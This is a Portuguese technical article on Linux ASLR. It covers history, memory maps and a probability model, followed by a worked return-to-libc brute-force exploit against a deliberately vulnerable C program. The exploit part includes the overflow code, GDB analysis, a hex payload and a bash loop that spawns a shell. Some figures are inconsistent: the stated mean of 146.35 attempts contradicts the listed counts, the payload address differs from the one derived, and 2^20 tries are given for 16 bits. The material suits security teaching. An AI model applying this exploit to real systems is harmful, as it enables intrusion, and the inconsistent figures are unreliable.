Você está na página 1de 13

R&D - Conviso Application Security

ASLR - Address Space Layout Randomization


1
Marcos Álvares
3 de janeiro de 2011

Resumo
Certamente o ASLR foi um dos mecanismos de segurança mais efica-
zes na contenção da explosão no número de explorações com sucesso no
inicio do século 21. Inicialmente foi apresentado como solução genérica
para problemas de buffer overflow. Explorações que assumiam que o apli-
cativo vulnerável seria carregado em memória usando blocos de endereços
fixos foram invalidadas. Muito embora, pouco tempo depois técnicas para
burlar a proteção tenham surgido, o custo para construção de um exploit
funcional para essa categoria de vulnerabilidade aumentou significativa-
mente. As tentativas de exploração ficaram mais “ruidosas”, evidenciando
padrões de ataques e fornecendo subsı́dios para construção de dispositivos
de detecção automática. Atualmente, o ASLR é implementado nativa-
mente nos sistemas operacionais mais populares. Esse artigo tem por ob-
jetivo apresentar um breve (i) histórico, (ii) descrever o funcionamento,
(iii) apresentar uma análise qualitativa e (iv ) apresentar as principais
técnicas utilizadas parar contornar a proteção provida.

1 Definição e Histórico
O ASLR é um mecanismo de segurança que introduz aleatoriedade no processo
de alocação dos segmentos de um processo em memória. Esse processo é re-
alizado toda vez que um aplicativo é executado e carregado em memória pelo
sistema operacional. O ASLR foi concebido em 2000 como parte do projeto
Page EXec (PaX) [1, 2, 3]. O PaX nada mais é que um patch para o kernel do
Linux que agrega diversas caracterı́sticas de segurança ao sistema operacional.
Algumas soluções com objetivos similares ao ASLR já existiam antes de 2000
como o StackGuard, StackShield e a LibSafe. Apenas o ASLR foi implementado
e habilitado por padrão nos sistemas operacionais mais populares encontrados
no mercado. Em 2005 foi adicionado oficialmente ao núcleo do sistema opera-
cional Linux em sua versão 2.6.12. A Microsoft apresentou sua versão um ano
após através do Windows Vista.
Devido a aleatoriedade inserida no processo de geração dos segmentos em
memória, para localizar endereços o atacante necessita realizar uma série de
tentativas (força bruta) para uma exploração de uma vulnerabilidade do tipo
buffer overflow com sucesso. Essas tentativas são ruidosas e susceptı́veis a serem
classificadas como tentativas de ataque. Quando implementado em conjunto
com sistemas de monitoração e reação, o ASLR pode ser um mecanismo bastante
eficaz para detecção de tentativas de intrusão.
Para leitura desse artigo é recomendável conhecimentos básicos de pro-
gramação em C, Assembly Intel x86, exploração em pilha [4, 5] e depuração
básica usando o GDB [6, 7]. Apesar de todos os exemplos exibidos nesse artigo
1 malvares@conviso.com.br

1
serem construı́dos usando o sistema operacional GNU Linux, a teoria elabo-
rada é aplicável a qualquer implementação de ASLR encontrada nos sistemas
operacionais modernos.

2 Contextualização Teórica
Nos sistemas operacionais modernos cada processo possui um espaço de en-
dereçamento privado, isolado e dividido em segmentos com fins especı́ficos. Do
ponto de vista do processo é como se esse tivesse todos os recursos fı́sicos dis-
ponı́veis para uso exclusivo. A memória básica ou volátil (RAM) é um desses
recursos. Quando o usuário solicita a execução de um determinado aplicativo,
um espaço de endereçamento virtual é reservado e o seu binário é carregado
nesse espaço. O espaço de endereçamento é segmentado de acordo com o tipo
dos dados armazenados em cada segmento. Os principais segmentos de um
processo em memória são:

• Dados: segmento onde estão contidas as variáveis estáticas e globais;


• Código: possui o código de máquina do processo executado;
• Pilha: armazena variáveis locais e referências para controle de fluxo;
• Heap: região que armazena as variáveis alocadas dinâmicamente;
• Bibliotecas compartilhadas: mapas de biliotecas ligadas dinâmicamente.

O Código 1 mostra o espaço de endereçamento e os principais segmentos do


processo “cat”. Nota-se que o “cat” é um binário ligado dinâmicamente a outras
bilbliotecas através do “ld-2.11.1.so” (linha 6). Através do ld bibliotecas podem
ser acopladas ao processo em tempo de execução como a biblioteca mostrada
na linha 9. O segmento de código, onde o executável é carregado, é encontrado
na linha 7. Note que esse segmento tem permissão de leitura e execução mas
não de escrita. Esse mecânismo impede que após o carregamento do binário em
memória seja possı́vel a injeção de conteúdo nesse segmento (lı́cito ou não). Por
fim, observa-se a os segmentos de pilha e heap nas linhas 12 e 8 respectivamente.
1 mabj@Jarvis:~$ cat /proc/self/maps
2 00652000-00653000 r-xp 00000000 00:00 0 [vdso]
3 00695000-007e8000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so
4 007e8000-007e9000 ---p 00153000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so
5 007ec000-007ef000 rw-p 00000000 00:00 0
6 00de3000-00dfe000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so
7 08048000-08054000 r-xp 00000000 08:05 557808 /bin/cat
8 09f55000-09f76000 rw-p 00000000 00:00 0 [heap]
9 b75ff000-b763e000 r--p 00000000 08:05 269665 /usr/lib/locale/en_US.utf8/LC_CTYPE
10 ...
11 b7772000-b7774000 rw-p 00000000 00:00 0
12 bfb54000-bfb69000 rw-p 00000000 00:00 0 [stack]

Código 1: Espaço de enderaçamento correspodente ao processo “cat”.

O componente do sistema operacional responsável por carregar o executável


em memória é o loader. O loader recebe o arquivo binário COFF (Commom
Object File Format), cria os segmentos mostrados e configura suas respectivas
permissões. O tamanho e as permissões de um determinado segmento podem
ser alterados em tempo de execução. Um exemplo de criação de um segmento
em memória usando o mmap pode ser observado no Código 2.

2
1
2 #define FILEPATH "./example.txt"
3 #define NUMCHARS sizeof("marcos alvares")
4 #define FILESIZE (NUMCHARS * sizeof(int))
5
6 int main() {
7 int fd; char *map;
8
9 fd = open(FILEPATH, O_RDWR);
10
11 map = mmap(NULL, FILESIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
12
13 map[NUMCHARS - 1] = ’\0’;
14 printf("[%s]\n", map);
15
16 printf("PID do PROCESSO: [%d]\n\n", getpid());
17 sleep(20000);
18 ...
19 return 0;
20 }

Código 2: Criação de segmento em memória para leitura e escrita com o conteúdo


de um arquivo em disco.

Na linha 9 um filehandler para o arquivo “example.txt” é criado e seu


conteúdo é mapeado em memória usando a função mmap() na linha 11. As
permissões do segmento são passadas por parâmetro para a função mmap():
“PROT READ | PROT WRITE ” (leitura e escrita). Isso significa que nenhum
conteúdo inserido nesse segmento poderá ser executado. Caso ocorra uma ten-
tativa de execução de conteúdo o sistema operacional enviará um sinal de falha
de segmentação (SEGFAULT ) para o processo. A string “marcos alvares” (que
está contida no arquivo) é impressa na saı́da padrão. Nas linhas 16 e 17 é
impresso o PID na saı́da padrão e um sleep() é realizado para que possamos
observar o mapa do processo em memória (Código 3).
1 mabj@Jarvis:~/aslr/doc/examples$ ./example &
2 [marcos alvares]
3 PID do PROCESSO: [3132]
4
5 mabj@Jarvis:~/aslr/doc/examples$ cat /proc/3132/maps
6 0011e000-0011f000 r-xp 00000000 00:00 0 [vdso]
7 0011f000-00272000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so
8 00276000-00279000 rw-p 00000000 00:00 0
9 00a1f000-00a3a000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so
10 08048000-08049000 r-xp 00000000 08:06 397551 /home/mabj/aslr/doc/examples/example
11 b7816000-b7817000 rw-p 00000000 00:00 0
12 b7817000-b7818000 rw-s 00000000 08:06 397845 /home/mabj/aslr/doc/examples/example.txt
13 b7818000-b781a000 rw-p 00000000 00:00 0
14 bf886000-bf89b000 rw-p 00000000 00:00 0 [stack]
15

Código 3: Mapa do processo criado pelo aplicativo mostrado no Código 2.

Na linha 20 o arquivo “example.txt” foi mapeado no espaço de endereçamento


do processo “example”. O mapa criado possui permissão para leitura e escrita
(“rw-s”). Na coluna a esqueda do mapa do processo encontramos o endereço
de cada segmento. Por exemplo, o nosso segmento com o arquivo “example.txt”
está mapeado do endereço 0xb7817000 até o 0xb7818000 que corresponde ao
tamanho mı́nimo de um segmento mapeado que é 4 KB.
Para exemplificar o funcionamento do ASLR vamos executar o processo duas
vezes com o mecanismo desabilitado e duas vezes com o mecanismo habilitado.
Sem o ASLR os segmentos do processo serão mapeados sempre na mesma faixa
de endereços. No Código 4, podemos observar o mapa gerado através de duas
execuções da aplicação sem o ASLR. Nas linhas marcadas de vermelho podemos
observar que nas duas execuções o aplicativo foi mapeado em memória com os
mesmos endereços.

3
1 mabj@Jarvis:~/Documents/aslr/doc/examples$ ./example &
2 [2] 5171
3 mabj@Jarvis:~/Documents/aslr/doc/examples$ ./example &
4 [3] 5172
5
6 mabj@Jarvis:~/Documents/aslr/doc/examples$ cat /proc/5171/maps
7 00110000-0012b000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so
8 0012d000-0012e000 r-xp 00000000 00:00 0 [vdso]
9 0012e000-00281000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so
10 00285000-00288000 rw-p 00000000 00:00 0
11 08048000-08049000 r-xp 00000000 08:06 394687 /home/mabj/Documents/aslr/doc/examples/example
12 b7fe8000-b7fe9000 rw-p 00000000 00:00 0
13 b7ffd000-b7ffe000 rw-s 00000000 08:06 397845 /home/mabj/Documents/aslr/doc/examples/example.txt
14 b7ffe000-b8000000 rw-p 00000000 00:00 0
15 bffeb000-c0000000 rw-p 00000000 00:00 0 [stack]
16
17 mabj@Jarvis:~/Documents/aslr/doc/examples$ cat /proc/5172/maps
18 00110000-0012b000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so
19 0012d000-0012e000 r-xp 00000000 00:00 0 [vdso]
20 0012e000-00281000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so
21 00285000-00288000 rw-p 00000000 00:00 0
22 08048000-08049000 r-xp 00000000 08:06 394687 /home/mabj/Documents/aslr/doc/examples/example
23 b7fe8000-b7fe9000 rw-p 00000000 00:00 0
24 b7ffd000-b7ffe000 rw-s 00000000 08:06 397845 /home/mabj/Documents/aslr/doc/examples/example.txt
25 b7ffe000-b8000000 rw-p 00000000 00:00 0
26 bffeb000-c0000000 rw-p 00000000 00:00 0 [stack]

Código 4: Mapas de duas execuções do mesmo binário criado usando um sistema


operacional sem ASLR.

A maioria das técnicas de exploração de buffer overflow, originalmente,


se aproveitavam do fato dos segmentos do processo sempre serem carregado
nos mesmos endereços para redirecionar o fluxo da aplicação vulnerável. Tais
técnicas precisavam de informações sobre endereços especı́ficos para o seu fun-
cionamento como endereços especı́ficos na pilha ou endereços de bibliotecas.
Com o objetivo de aumentar a complexidade de contrução de exploits funcio-
nal, tornando os endereços de pontos estratégicos não óbivios e replicáveis para
diferentes ambientes, o ASLR introduz aleatoriedade no mapa de endereçamento
exibido no Código 4. O Código 5 mostra o efeito do ASLR sobre o espaço de
endereçamento do mesmo binário analisado no exemplo anterior.
1 mabj@Jarvis:~/Documents/aslr/doc/examples$ ./example &
2 [4] 5487
3 mabj@Jarvis:~/Documents/aslr/doc/examples$ ./example &
4 [5] 5488
5
6 mabj@Jarvis:~/Documents/aslr/doc/examples$ cat /proc/5487/maps
7 002f6000-00311000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so
8 00595000-00596000 r-xp 00000000 00:00 0 [vdso]
9 008cb000-00a1e000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so
10 00a22000-00a25000 rw-p 00000000 00:00 0
11 08048000-08049000 r-xp 00000000 08:06 394687 /home/mabj/Documents/aslr/doc/examples/example
12 b786a000-b786b000 rw-p 00000000 00:00 0
13 b787f000-b7880000 rw-s 00000000 08:06 397845 /home/mabj/Documents/aslr/doc/examples/example.txt
14 b7880000-b7882000 rw-p 00000000 00:00 0
15 bff65000-bff7a000 rw-p 00000000 00:00 0 [stack]
16
17 mabj@Jarvis:~/Documents/aslr/doc/examples$ cat /proc/5488/maps
18 0063f000-00792000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so
19 00796000-00799000 rw-p 00000000 00:00 0
20 00cf2000-00cf3000 r-xp 00000000 00:00 0 [vdso]
21 00f8b000-00fa6000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so
22 08048000-08049000 r-xp 00000000 08:06 394687 /home/mabj/Documents/aslr/doc/examples/example
23 b7807000-b7808000 rw-p 00000000 00:00 0
24 b781c000-b781d000 rw-s 00000000 08:06 397845 /home/mabj/Documents/aslr/doc/examples/example.txt
25 b781d000-b781f000 rw-p 00000000 00:00 0
26 bf8db000-bf8f0000 rw-p 00000000 00:00 0 [stack]

Código 5: Mapas de duas execuções do mesmo binário criado usando um sistema


operacional com ASLR habilitado.

No Código 5 observamos que o endereço base da maior parte dos segmen-


tos do processo exemplo é afetado pelo ASLR (exceto os segmentos onde são
carregados executável e dados estáticos).

4
Os exemplos acima foram todos realizados em ambientes que fazem uso
do sistema operaciona Linux Ubuntu. A implementação do ASLR do Linux
foi inspirada no PaX. Notamos que o ASLR implementado no Linux abrange
menos segmentos que o PaX original. O ASLR implementado no PaX afeta
quatro segmentos no processo:

• segmento do executável principal (código, dados e BSS );


• heap;
• pilha;
• segmentos internos ao sistema operacional.

Como podemos notar no Código 5, a implementação encontrada no Linux


não inclui o segmento do executável principal. Um detalhe importante de se
observar é que apenas uma parte do endereço base é aleatorizado. O PaX, para
arquitetura Intel x86, 32 bits, para o segmento de pilha temos uma aleatorização
de 24 bits do endereço base iniciando do quarto bit menos significativo. Para
segmentos criados via mmap() e para os segmentos do executável principal temos
uma aleatorização de 16 bits do endereço base iniciando a partir do décimo
segundo bit menos significativo. Essa organização é também aplicada ao Linux
exceto pelo segmento do código principal que não recebe componente aleatório.

2.1 Probabilidades e Modelo Matemático


Para estudarmos a eficácia do mecanismo de randomização do espaço de en-
dereçamento iremos generaliza-lo através de um modelo matemático. Proble-
mas que envolvem aleatoriedade podem ser representado através de funções de
probabilidade. Portanto, vamos definir qual a probabilidade de acerto de um de-
terminado endereço em função da quantidade de bits escolhidos aleatóriamente
para o endereço base do segmento e quantidade de tentativas.
A equação de Bernoulli (Equação 1) de probabilidade em experimentos com-
postos, define a probabilidade para que ocorra ao menos “s” ocorrências de um
padrão dentro de “n” experimentos associados a um mesmo espaço amostral.
Onde “p” representa a probabilidade de sucesso e “q” é a probabilidade de falha.

n
X
P (B) = C(n, k)pk q n−k (1)
k=s
n!
C(n, k) = (2)
k!(n − k)!

Para a nossa aplicação, como queremos que o padrão apareça ao menos 1


vez, então “s” será igual a 1. Observando a equação de Bernoulli vemos que
ela é uma especialização de um Binômio de Newton (Equação 3) só que sem o
componente do somatório onde k = 0.

n
X
(x + y)n = C(n, k)y k xn−k (3)
k=0

5
Combinando as equações 1 e 3 chegamos a conclusão que a probabilidade de
um evento ocorrer ao menos uma vez é igual a

P (B) = (x + y)n − C(n, 0)y 0 xn−0 (4)


P (B) = 1 − xn (5)

Como “x” é a probabilidade de um evento não ocorrer usando N bits aleatórios,


chegamos a seguinte generalização:

1 x
P (B) = 1 − (1 − ) (6)
2N
A equação 6 é a probabilidade de um evento ocorrer ao menos uma vez em
x tentativas usando um espaço amostral composto por N bits aleatórios.
Para o caso do ASLR do PaX faz uso de 24 bits aleatórios para formação do
endereço base do segmento de pilha, o espaço amostral é de 224 possibilidades.
A probabilidade do atacante adivinhar o endereço base com uma única tentativa
para esse segmento é de aproximadamente 1 em 16.7 milhões. Isso é uma pro-
babilidade muito próxima de zero. Só para ser ter uma idéia, a probabilidade
de se morrer acertado por um raio é de aproximadamente 1 em 2.32 milhões.
A medida que são realizadas multiplas tentativas para achar o valor do en-
dereço base a probabilidade aumenta. A tabela abaixo mostra a variação da
probabilidade de acordo com o número de tentativas e a quantidade de bits
aleatórios:

Tabela 1: Resultados de probabilidades em função da quantidade de tentativas(x) e


o número de bits aleatórios(N )

N /x 1 4 16 64 256 210 214 218 220 224 232 240


1 0.5 0.94 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1
2 0.25 0.68 0.99 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1
4 0.06 0.23 0.64 0.98 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1
8 ≈ 0 0.02 0.06 0.22 0.63 0.98 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1 ≈ 1
16 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 0.02 0.22 0.98 ≈ 1 ≈ 1 ≈ 1 ≈ 1
24 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 0.02 0.06 0.63 ≈ 1 ≈ 1
32 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 0.63 ≈ 1
40 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 0.63
64 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0 ≈ 0

Dependendo da vulnerabilidade, existem técnicas para aumentar a probabi-


lidade de colisão relativa a uma quantidade de bits aleatórios de um endereço
base. Algumas técnicas atuais já fazem de artifı́cios para explorar com sucesso
falhas de buffer overflow em heap e pilha em sistemas operacionais que fazem
uso de ASLR. [8, 9, 10].

3 Técnicas e Estudo de Caso


Não existe uma técnica para burlar a proteção oferecida pelo ASLR sem ne-
nhuma restrição. A maioria das técnicas são baseadas em redução de entropia
empregada para geração do endereço base e força bruta. Uma lista das técnicas
mais populares para exploraração de vulnerabilidades em sistemas que possuem
ASLR é:

• Ataque a segmentos não afetados pelo ASLR;

6
• Força bruta;
• Técnicas orientadas a retorno [11];

• Ataque a GOT (Global Offset Table) e a PLT (Procedure Link Table);


• Ataque a .dtors.

Tirando as técnicas orientadas a retorno, todas as outras são usadas em


conjunto como força bruta para realizar buscas em todo o espaço de amostral
gerado através dos bits aleatórios empregados na geração de cada tipo especı́fico
de segmento. Uma visão geral de todas essas técnicas pode ser encontrada no
artigo de Tilo Muller, ASLR Smack & Laugh Reference [12].
As técnicas orientadas a retorno exigem condições especı́ficas para exploração
como conteúdo util no buffer vulnerável (informações que revelem o layout do
segmento). A maioria das explorações com sucesso em sistemas operacionais
modernos envolvem força bruta. Abaixo vamos criar uma aplicação com uma
vulnerabildiade de pilha e em seguida descreveremos passo-a-passo a exploração
dessa falha através da técnica de return-to-libc [13, 14]. Iremos fazer uso da
sessão de dados do binário (variáveis globais e estáticas inicializadas) e carac-
terı́stica das regiões mapeadas em memória através mmap() usarem apenas 16
bits aleatórios.
Segundo a Tabela 1, para 16 bits aleatórios precisamos realizar no máximo
22 0 (1.048.576) tentativas para conseguirmos adivinhar um endereço especı́fico.
O Código 9 apresenta a aplicação de prova-de-conceito que possui uma vulne-
rabilidade de buffer overflow na pilha.
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 static const char string[] = "/bin/sh";
6
7 void function(char *param) {
8 char buffer[16];
9 strcpy(buffer, param);
10 }
11
12 int main(int argc, char *argv[]) {
13 printf("Global string: [%s], Address: [%#x]\n\n", string, (unsigned int) string);
14 function(argv[1]);
15 return 0;
16 }

Código 6: Código de prova-de-conceito com vulnerabilidade de buffer overflow na


pilha.

Podemos observar na linha 5 do Código 9 que foi criada uma variável global
e estática que armazena uma string com o conteúdo “/bin/sh”. Através do
Código 5, podemos constatar que a região “.data” do binário não é afetada pelo
ASLR do Linux (kernel na versão 2.6.32-26). Isso significa que podemos usar o
endereço da string no nosso ataque na libc (16 bits) através da vulnerabilidade
encontrada na linha 8.
Na pilha, durante a execução de function, após o preenchimento do buffer
é encontrado o contexto da função main salvo através do EBP (base pointer )
e o ponto de retorno (endereço da próxima instrução em main a ser executada
após o termino de function). Através do strcpy e da variável buffer, vamos
sobrescrever esse contexto para substituir o endereço de retorno pelo endereço

7
da função system da libc (endereço aleatório) e o EBP pelo endereço da variável
string (que não é afetado pelo ASLR).
Para compilar o nosso exemplo precisamos desabilitar o mecanismo de proteção
a pilha baseado em canários oferecido pela libc. Esses mecanismos de proteção
da libc serão estudados em detalhes em artigos futuros.

mabj@Jarvis$ gcc -fno-stack-protector -ggdb -o bug01 bug01.c

Código 7: Comando para compilação do código de prova-de-conceito.

Podemos observar que na linha 13 do nosso exemplo é impresso em tela o


conteúdo e endereço da variável string. Não importa a quantidade de vezes que
executemos o processo bug01 esse endereço não irá mudar.

mabj@Jarvis$ ./bug01 A
Global string: [/bin/sh], Address: [0x8048530]

mabj@Jarvis$ ./bug01 A
Global string: [/bin/sh], Address: [0x8048530]

mabj@Jarvis$ ./bug01 A
Global string: [/bin/sh], Address: [0x8048530]

Código 8: Verificação do endereço da variável string.

Vamos executar o nosso exemplo passando como entrada uma quantidade


superior a 16 catacteres como parâmetro de entrada. Essa entrada será copiada
sem nenhuma verificação para a variável buffer através do strcpy(). O contexto
de main que está armazenado na pilha será soberscrito e o software receberá
uma falha de segmentação ao tentar restaurar esse contexto durante a finalização
da função “function”.

mabj@Jarvis$ ./bug01 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Global string: [/bin/sh], Address: [0x8048530]

Segmentation fault

Código 9: Sinal de falha de segmentação recebido pelo processo após passarmos


string maior que o tamanho de buffer.

Vamos utilizar o GDB para acharmos a localização exata do EBP e do Ponto


de Retorno, armazenados na pilha durante o armazenamento do contexto de
main antes do fluxo de execução entrar na função function. O Assembly de
main e de function pode ser observado em Código 10 e no Código 11.
é preciso determinar o endereço da função system() dentro da libc para uma
execução especı́fica. Claro que esse endereço irá variar para toda a execução
já que temos o ASLR habilitado, mas logo iremos ver como iremos tratar essa
peculiaridade através de um ataque de força bruta. De acordo com o Código
12 a função system() está no endereço 0x00b8a100. Os 8 bits mais significativos

8
1 (gdb) disas main
2 Dump of assembler code for function main:
3 0x0804842e <+0>: push %ebp
4 0x0804842f <+1>: mov %esp,%ebp
5 0x08048431 <+3>: and $0xfffffff0,%esp
6 0x08048434 <+6>: sub $0x10,%esp
7 0x08048437 <+9>: mov $0x8048530,%edx
8 0x0804843c <+14>: mov $0x8048538,%eax
9 0x08048441 <+19>: mov %edx,0x8(%esp)
10 0x08048445 <+23>: movl $0x8048530,0x4(%esp)
11 0x0804844d <+31>: mov %eax,(%esp)
12 0x08048450 <+34>: call 0x8048350 <printf@plt>
13 0x08048455 <+39>: mov 0xc(%ebp),%eax
14 0x08048458 <+42>: add $0x4,%eax
15 0x0804845b <+45>: mov (%eax),%eax
16 0x0804845d <+47>: mov %eax,(%esp)
17 0x08048460 <+50>: call 0x8048414 <function>
18 0x08048465 <+55>: mov $0x0,%eax
19 0x0804846a <+60>: leave
20 0x0804846b <+61>: ret
21 End of assembler dump.

Código 10: Assembly correspondente a função main do programa analizado.

1 (gdb) disas function


2 Dump of assembler code for function function:
3 0x08048414 <+0>: push %ebp
4 0x08048415 <+1>: mov %esp,%ebp
5 0x08048417 <+3>: sub $0x28,%esp
6 0x0804841a <+6>: mov 0x8(%ebp),%eax
7 0x0804841d <+9>: mov %eax,0x4(%esp)
8 0x08048421 <+13>: lea -0x18(%ebp),%eax
9 0x08048424 <+16>: mov %eax,(%esp)
10 0x08048427 <+19>: call 0x8048340 <strcpy@plt>
11 0x0804842c <+24>: leave
12 0x0804842d <+25>: ret
13 End of assembler dump.

Código 11: Assembly correspondente a função function do programa analizado.

do endereço não tem problema de ser um NULL (“\0”), porém os 8 bits menos
significativos serem NULL compromete nosso ataque2 .
1 (gdb) break main
2 Breakpoint 1 at 0x8048437: file bug01.c, line 12.
3 (gdb) r
4 Starting program: bug01
5
6 Breakpoint 1, main (argc=1, argv=0xbf877c24) at bug01.c:12
7 12 printf("Global string: [%s], Address: [%#x]\n\n", string, (unsigned int) string);
8 (gdb) disas system
9 Dump of assembler code for function __libc_system:
10 0x00b8a100 <+0>: sub $0xc,%esp
11 0x00b8a103 <+3>: mov %esi,0x4(%esp)
12 0x00b8a107 <+7>: mov 0x10(%esp),%esi
13 0x00b8a10b <+11>: mov %ebx,(%esp)
14 ...
15 (gdb) x/i 0x00b8a100 - 4
16 0x00b8a0fc: add %al,(%eax)

Código 12: Localização da função system() da libc.

Para evitar o NULL encontrado no endereço de system verificamos qual a


instrução que é executada imediatamente antes desse endereço. Para a nossa
sorte é realizada apenas uma adição envolvendo o registrador EAX, que não irá
influenciar o comportamento “macro” da nossa função system(). Para o nosso
ataque iremos considerar “0x00b8a0f c” como o endereço de system().
Para o cálculo do tamanho exato para o payload de forma a sobrescrever o
EBP e o return point, vamos inserir 3 breakpoints (Código 14).
Executando o nosso exemplo usando 8 “As” como entrada podemos extrair
as informações que precisamos. No primeiro breakpoint conseguimos coletar
2 NULL ou “\0” é a palavra chave para indicar fim de string

9
1 (gdb) break *(main+47)
2 Breakpoint 2 at 0x804845d: file example_region.c, line 15.
3 (gdb) break *(function+24)
4 Breakpoint 3 at 0x804842c: file example_region.c, line 10.
5 (gdb) break *(function+25)
6 Breakpoint 4 at 0x804842d: file example_region.c, line 10.
7 (gdb) i b
8 Num Type Disp Enb Address What
9 2 breakpoint keep y 0x0804845d in main at example_region.c:15
10 3 breakpoint keep y 0x0804842c in function at example_region.c:10
11 4 breakpoint keep y 0x0804842d in function at example_region.c:10

Código 13: Definição de três breakpoints para fins de depuração.

o EBP no contexto da função main que é igual a 0xbfe33a98. No segundo


breakpoint pedimos para o GDB exibir 20 double words (32 bytes) a partir do
endereço do topo da pilha (esp). Podemos destacar a localização onde estão o
dado inserido na variável buffer os 8 “A”s (“0x41” do endereço 0xbf e33060 até
0xbf e33068).
1 (gdb) r AAAAAAAA
2 Starting program: bug01 AAAAAAAA
3
4 Breakpoint 2, 0x0804845d in main (argc=2, argv=0xbfe33b44) at bug01.c:15
5 15 function(argv[1]);
6
7 (gdb) i r $ebp
8 ebp 0xbfe33a98 0xbfe33a98
9 (gdb) c
10 Continuing.
11
12 Breakpoint 3, function (param=0xbfe3550d "AAAAAAAA") at bug01.c:10
13 (gdb) x/20x $esp
14 0xbfe33a50: 0xbfe33a60 0xbfe3550d 0xbfe33a78 0x00157160
15 0xbfe33a60: 0x41414141 0x41414141 0x00266400 0x08048538
16 0xbfe33a70: 0xbfe33a84 0x00265ff4 0xbfe33a98 0x08048465
17 0xbfe33a80: 0xbfe3550d 0x08048530 0x08048530 0x00265ff4
18 0xbfe33a90: 0x08048480 0x00000000 0xbfe33b18 0x00126bd6

Código 14: Execução do exemplo usando entrada contendo 8 caracteres.

Podemos encontrar também na linha 16 o valor do EBP de main salvo na


pilha (0xbf e33a98), em seguida achamos o ponto de retorno (0x08048465). Se
contarmos quantos caracteres devemos inserir na entrada para chegarmos do
inicio da variável buffer até o inicio do EBP vamos descobrir que precisamos de
24 caracteres (de 0xbf e33a60 até 0xbf e33a78). Então o nosso payload para ex-
plorar essa vulnerabilidade será composto de 24 caracteres, endereço da variável
string (já coletamos e é igual a 0x8048530) seguido pelo endereço da função
system()(0x00b8a0f c).
Sabemos que para cada execução do nosso exploit temos exatamente 1 chance
em 1.048.576 de acertar o endereço da função system() dentro do espaço de en-
dereçamento destinado para a libc que possui 16 bits aleatórios em seu endereço
base. O objetivo é rodarmos um laço que executa o nosso exploit até que ocorra
uma colisão (um determinado endereço base ocorra novamente). Para isso cria-
mos um script shell (Código 15) que contamos a quantidade de tentativas para
que o ataque de força bruta seja efetivo.
Em uma primeira tentativa usando um “Intel(R) Atom(TM) CPU N270 @
1.60GHz ”, conseguimos sucesso com 9.453 tentativas (Código 16).
Para validar estatisticamente o resultado, coletamos os resultados para 32
explorações com sucesso do nosso exploit e o número da iteração que cada uma
ocorreu. Se coletarmos a média da quantidade de tentativas necessárias para
uma exploração com sucesso chegamos ao número de 146.35 tentativas (Código
17). O que é um número pequeno e torna o ataque viável.

10
1 #!/bin/bash
2
3 COUNTER=0
4 while [ 0 ]; do
5 echo "[+] Tentativa $COUNTER"
6 ./bug01 $’AAAAAAAAAAAAAAAAAAAAAAAA\x30\x85\x04\x08\xfc\x70\x16\x00’;
7 let COUNTER=COUNTER+1
8 done;

Código 15: Exploit para o bug01.

1 mabj@Jarvis$ ./exploit.sh
2
3 ...
4
5 Segmentation fault
6 [+] Tentativa 9452
7 Global string: [/bin/sh], Address: [0x8048530]
8
9 Segmentation fault
10 [+] Tentativa 9453
11 Global string: [/bin/sh], Address: [0x8048530]
12
13 $ [BINGO]

Código 16: Execução do exploit para o bug01.

1 Sucesso de exploraç~
ao nas tentativas: [
2 1130, 12998, 15906, 18930, 23886, 26342, 32985,
3 34366, 48500, 51381, 51401, 62373, 72270, 75773,
4 76226, 77321, 78621, 78974, 80234, 84299, 85332,
5 88937, 91015, 94803, 95029, 95165, 95833, 97285,
6 99669, 101471, 110756, 111518
7 ]
8 Quantidade de tentativas em cada exploraç~
ao: [
9 1130, 11868, 2908, 3024, 4956, 2456, 6643,
10 1381, 14134, 2881, 20, 10972, 9897, 3503,
11 453, 1095, 1300, 353, 1260, 4065, 1033,
12 3605, 2078, 3788, 226, 136, 668, 1452,
13 2384, 1802, 9285, 762
14 ]
15 Média: [146.349081364829]

Código 17: Saı́da de script para validação estatı́stica da qualidade da exploração da


vulnerabilidade usando o sistema com ASLR habilitado.

Apesar de efetivo, o ataque ainda é bastante ruidoso (causando, em média,


146 finalizações abruptas do processo). Um desafio para segurança da in-
formação é a construção de sistemas de detecção e reação automática para
padrões de eventos relativos a tentativas frustadas de exploração.
Diversos mecanismos foram propostos desde soluções baseadas em interrom-
per o serviço até intervenções hı́bridas usando firewall. Soluções para interrom-
per o serviço não foi bem aceita por motivos econômicos [15]. Muitas vezes
uma parada do serviço, mesmo que por pouco tempo significa perdas finan-
ceiras colossais. Além da parada do serviço não implicar na solução imediata
da vulnerabilidade. Por isso, empresas de comércio digital preferem assumir o
risco de uma invasão bem sucedida do que parar o seu serviço. Mecanismos
